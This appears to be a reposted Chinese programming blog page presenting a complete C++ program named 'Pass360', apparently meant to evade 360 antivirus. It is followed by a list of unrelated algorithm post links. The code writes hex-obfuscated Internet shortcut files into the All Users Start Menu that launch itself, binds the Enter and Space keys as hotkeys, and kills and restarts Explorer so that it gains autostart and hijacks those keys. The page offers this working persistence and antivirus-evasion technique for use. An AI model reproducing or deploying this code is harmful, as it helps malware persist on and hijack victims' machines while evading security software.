• Pass360[最新].cpp


    View Code
     1 #include <windows.h>
     2 #include <shobjidl.h>
     3 #include <shlguid.h>
     4 #include <shlobj.h>
     5 #include <tlhelp32.h> 
     6 
     7 #pragma comment(linker, "/opt:nowin98")
     8 #pragma comment(linker, "/opt:ref")
     9 #pragma comment (linker, "/OPT:ICF")
    10 
    11 int KillMyProcess(char *exeName)  
    12 { 
    13     int rc = 0; 
    14     HANDLE hSysSnapshot = NULL; 
    15     PROCESSENTRY32 proc; 
    16     hSysSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ); 
    17     if ( hSysSnapshot == (HANDLE)-1 ) return 1; 
    18     
    19     proc.dwSize = sizeof(proc); 
    20     if ( Process32First ( hSysSnapshot, &proc ) ) { 
    21         do { 
    22             if (stricmp(proc.szExeFile, exeName)==0) { 
    23                 HANDLE Proc_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc.th32ProcessID); 
    24                 if (Proc_handle==NULL || !TerminateProcess(Proc_handle, 0)) rc = 1; 
    25                 else rc = 0; 
    26             } 
    27         } while ( Process32Next ( hSysSnapshot, &proc ) ); 
    28     } 
    29     CloseHandle ( hSysSnapshot ); 
    30     return rc; 
    31 } 
    32 
    33 
    34 
    35 void CreateUrlLink(LPSTR lpExePath,LPWSTR lpUrlPath,int iHotKey)
    36 {
    37     LPSTR  s=new char[1024];
    38     ZeroMemory(s,1024);
    39     //s1=[InternetShortcut]URL=file:///
    40     //s2=HotKey
    41     char   s1[]={0x5B, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6E, 0x65, 0x74, 0x53, 0x68, 0x6F, 0x72, 0x74, 0x63, 0x75, 0x74, 0x5D, 0x0D, 0x0A, 0x55, 0x52, 0x4C, 0x3D, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x2F, 0x2F, 0x2F, 0x00};
    42     char   s2[]={0x0D, 0x0A, 0x48, 0x6F, 0x74, 0x4B, 0x65, 0x79, 0x3D, 0x00};
    43     wsprintf(s,"%s%s%s%i",s1,lpExePath,s2,iHotKey);
    44     DWORD  d;
    45     HANDLE hFile=CreateFileW(lpUrlPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NULL,NULL);
    46     WriteFile(hFile,s,lstrlen(s),&d,NULL);
    47     CloseHandle(hFile);
    48 }
    49 
    50 int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
    51 {
    52     char   szExePath[256];
    53     LPWSTR lpLnkPath=L"C:\\Documents and Settings\\All Users\\「开始」菜单\\Xnz.url";
    54     LPWSTR lpLnkPath1=L"C:\\Documents and Settings\\All Users\\「开始」菜单\\Xnv.url";
    55     //热键 32=space 13=回车
    56     int    iHotKey=13;
    57     int    iHotKey1=32;
    58     GetModuleFileName(NULL,szExePath,sizeof(szExePath));
    59 
    60     //Delete 热键并重启explorer 更新系统热键
    61     CreateUrlLink(szExePath,lpLnkPath,0);
    62     CreateUrlLink(szExePath,lpLnkPath1,0);
    63     //system("tskill explorer");
    64     KillMyProcess("EXPLORER.EXE");
    65     //延时恢复热键 假如在explorer重启完毕之前继续写入文件就没有效果了
    66     Sleep(3000);  
    67     CreateUrlLink(szExePath,lpLnkPath,iHotKey);
    68     CreateUrlLink(szExePath,lpLnkPath1,iHotKey1);
    69     MessageBox(NULL,"运行成功","",NULL);
    70     return 0;
    71 }

    通过创建快捷方式 截获快捷键 获取自启动 

  • 相关阅读:
    light_oj 1197 区间素数筛
    light_oj 1213
    light_oj 1220 素数分解
    bestcoder#43 1002 在数组中找两个数的和取模的最大值 二分
    6月7日 bc总结
    省赛总结
    二分图最大点权独立集 二分图最大点权覆盖
    终于能理解kmp算法了
    hduoj2087 统计串t在串s中出现的次数,重叠不算 KMP
    带权二分图的最大权匹配 KM算法模版
  • 原文地址:https://www.cnblogs.com/FCoding/p/2575418.html
Copyright © 2020-2023  润新知